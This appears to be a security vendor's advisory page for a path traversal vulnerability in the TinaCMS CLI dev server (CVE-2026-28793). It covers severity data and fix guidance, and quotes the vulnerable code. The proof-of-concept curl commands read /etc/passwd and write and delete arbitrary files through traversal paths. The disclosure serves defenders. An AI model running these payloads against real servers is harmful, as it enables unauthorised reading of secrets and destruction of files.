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HIGH severity

GHSA-2f24-mg4x-534q — @tinacms/cli

HIGH

GHSA-2f24-mg4x-534q is a high-severity (CVSS 8.4) Path Traversal vulnerability in @tinacms/cli. A fix is available for @tinacms/cli — see the affected versions and patch details below.

TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete

Also known asCVE-2026-28793
Published
Mar 12, 2026
Updated
Mar 14, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 25, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-2f24-mg4x-534q.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs10th percentile — riskier than 10% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-2f24-mg4x-534q plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

4other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@tinacms/clinpm
32Kdownloads / week

Description

Summary

The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

Details

When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

  • /media/list/*

  • /media/upload/*

  • /media/*

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

Vulnerable code

bb.on('file', async (_name, file, _info) => {
      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
      await fs.ensureDir(path.dirname(saveTo));
      file.pipe(fs.createWriteStream(saveTo));
    });

PoC

Arbitrary File Read

curl "http://localhost:4001/media/list/../../../etc/passwd"

Result:

<img width="889" height="280" alt="image(1)" src="https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0" />

Arbitrary File Write

echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt

curl --path-as-is -X POST \
  "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
  -F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt

Result: <img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" />

Arbitrary File Delete

echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"
<img width="1135" height="105" alt="image" src="https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca" />

Impact

An attacker who can reach the TinaCMS CLI dev server can:

  • Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)

  • Write arbitrary files anywhere writable by the server process

  • Delete or overwrite files, depending on endpoint usage

  • Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files

Attack Surface

The dev server binds to localhost by default, but exploitation is realistic in:

  • Cloud IDEs (Codespaces, Gitpod)

  • Docker or VM setups with port forwarding

  • Misconfigured dev environments binding to 0.0.0.0

  • Local malware or malicious dependencies

The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.

Recommended Fix

  • Resolve paths to absolute form

  • Enforce that resolved paths remain within the media root

  • Reject .. path segments and absolute paths

  • Consider authentication or token protection for dev server endpoints

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@tinacms/cliall versions2.1.8npm install @tinacms/cli@2.1.8

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @tinacms/cli, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @tinacms/cli to 2.1.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2f24-mg4x-534q is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2f24-mg4x-534q can be triaged on real exposure rather than presence alone.

Tailored to GHSA-2f24-mg4x-534q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. ## Details When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as: - /media/list/* - /media/upload/* - /media/* These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. ### Vulnerable code ``` bb.on('fil
O3 Security · Impact-Aware SCA

Is GHSA-2f24-mg4x-534q in your dependencies?

O3 Security finds GHSA-2f24-mg4x-534q across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-2f24-mg4x-534q: High 8.4 severity | O3 Security